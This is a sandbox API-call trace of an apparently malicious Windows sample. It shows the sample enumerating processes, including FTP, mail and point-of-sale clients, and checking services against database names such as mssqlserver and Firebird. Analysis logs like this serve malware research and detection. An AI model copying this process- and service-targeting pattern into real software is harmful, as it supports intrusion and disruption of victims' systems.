	[0070.153] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0070.154] lstrlenW (lpString="alftp.exe") returned 9
	[0070.154] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0070.154] lstrlenW (lpString="barca.exe") returned 9
	[0070.154] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0070.155] lstrlenW (lpString="bitkinex.exe") returned 12
	[0070.155] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0070.156] lstrlenW (lpString="coreftp.exe") returned 11
	[0070.156] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0070.157] lstrlenW (lpString="far.exe") returned 7
	[0070.157] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0070.199] lstrlenW (lpString="filezilla.exe") returned 13
	[0070.199] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0070.200] lstrlenW (lpString="flashfxp.exe") returned 12
	[0070.200] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0070.201] lstrlenW (lpString="fling.exe") returned 9
	[0070.201] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0070.202] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0070.202] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0070.203] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0070.203] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0070.204] lstrlenW (lpString="icq.exe") returned 7
	[0070.204] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0070.205] lstrlenW (lpString="leechftp.exe") returned 12
	[0070.205] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0070.206] lstrlenW (lpString="ncftp.exe") returned 9
	[0070.206] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0070.207] lstrlenW (lpString="notepad.exe") returned 11
	[0070.207] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0070.208] lstrlenW (lpString="operamail.exe") returned 13
	[0070.208] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0070.208] lstrlenW (lpString="pidgin.exe") returned 10
	[0070.208] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0070.209] lstrlenW (lpString="scriptftp.exe") returned 13
	[0070.209] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0070.210] lstrlenW (lpString="skype.exe") returned 9
	[0070.210] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0070.211] lstrlenW (lpString="smartftp.exe") returned 12
	[0070.211] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0070.212] lstrlenW (lpString="thunderbird.exe") returned 15
	[0070.212] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0070.213] lstrlenW (lpString="totalcmd.exe") returned 12
	[0070.213] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0070.213] lstrlenW (lpString="trillian.exe") returned 12
	[0070.213] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0070.214] lstrlenW (lpString="webdrive.exe") returned 12
	[0070.214] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0070.215] lstrlenW (lpString="whatsapp.exe") returned 12
	[0070.215] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0070.216] lstrlenW (lpString="winscp.exe") returned 10
	[0070.216] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0070.217] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0070.217] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0070.217] lstrlenW (lpString="active-charge.exe") returned 17
	[0070.217] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0070.218] lstrlenW (lpString="accupos.exe") returned 11
	[0070.218] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0070.219] lstrlenW (lpString="afr38.exe") returned 9
	[0070.219] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0070.220] lstrlenW (lpString="aldelo.exe") returned 10
	[0070.220] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0070.221] lstrlenW (lpString="ccv_server.exe") returned 14
	[0070.221] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0070.221] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0070.222] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0070.222] lstrlenW (lpString="creditservice.exe") returned 17
	[0070.222] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0070.223] lstrlenW (lpString="edcsvr.exe") returned 10
	[0070.223] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0070.224] lstrlenW (lpString="fpos.exe") returned 8
	[0070.224] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0070.224] lstrlenW (lpString="isspos.exe") returned 10
	[0070.224] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0070.225] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0070.225] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0070.226] lstrlenW (lpString="omnipos.exe") returned 11
	[0070.226] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0070.227] lstrlenW (lpString="spcwin.exe") returned 10
	[0070.227] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0070.227] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0070.227] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0070.228] lstrlenW (lpString="utg2.exe") returned 8
	[0070.228] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0070.229] lstrlenW (lpString="explicit.exe") returned 12
	[0070.229] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0070.229] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0070.229] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0070.230] lstrlenW (lpString="taskhostw.exe") returned 13
	[0070.230] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0070.231] lstrlenW (lpString="UsoClient.exe") returned 13
	[0070.231] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0070.231] lstrlenW (lpString="taskhostw.exe") returned 13
	[0070.231] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0070.232] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0070.232] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0070.233] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0070.233] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0070.233] lstrlenW (lpString="conhost.exe") returned 11
	[0070.233] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0070.234] lstrlenW (lpString="conhost.exe") returned 11
	[0070.234] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.235] lstrlenW (lpString="svchost.exe") returned 11
	[0070.235] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0070.235] lstrlenW (lpString="fvppjh.exe") returned 10
	[0070.248] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.248] lstrlenW (lpString="svchost.exe") returned 11
	[0070.248] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0070.249] lstrlenW (lpString="cmd.exe") returned 7
	[0070.249] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0070.250] lstrlenW (lpString="conhost.exe") returned 11
	[0070.250] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0070.250] lstrlenW (lpString="dllhost.exe") returned 11
	[0070.250] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0070.251] CloseHandle (hObject=0x35c) returned 1
	[0070.251] Sleep (dwMilliseconds=0x1f4) 
	[0071.262] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75eae8
	[0071.263] EnumServicesStatusExW (in: hSCManager=0x75eae8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0071.263] GetLastError () returned 0xea
	[0071.263] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x32bb288
	[0071.263] EnumServicesStatusExW (in: hSCManager=0x75eae8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x32bb288, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x32bb288, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0071.264] CloseServiceHandle (hSCObject=0x75eae8) returned 1
	[0071.264] lstrlenW (lpString="Appinfo") returned 7
	[0071.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0071.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0071.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0071.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0071.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0071.264] lstrlenW (lpString="AppXSvc") returned 7
	[0071.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0071.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0071.264] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0071.264] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0071.265] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0071.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0071.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0071.265] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0071.265] lstrlenW (lpString="Audiosrv") returned 8
	[0071.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0071.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0071.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0071.265] lstrlenW (lpString="BFE") returned 3
	[0071.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0071.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0071.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0071.265] lstrlenW (lpString="BITS") returned 4
	[0071.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0071.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0071.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0071.265] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0071.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0071.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0071.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0071.265] lstrlenW (lpString="CDPSvc") returned 6
	[0071.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0071.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0071.265] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0071.265] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0071.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0071.266] lstrlenW (lpString="ClickToRunSvc") returned 13
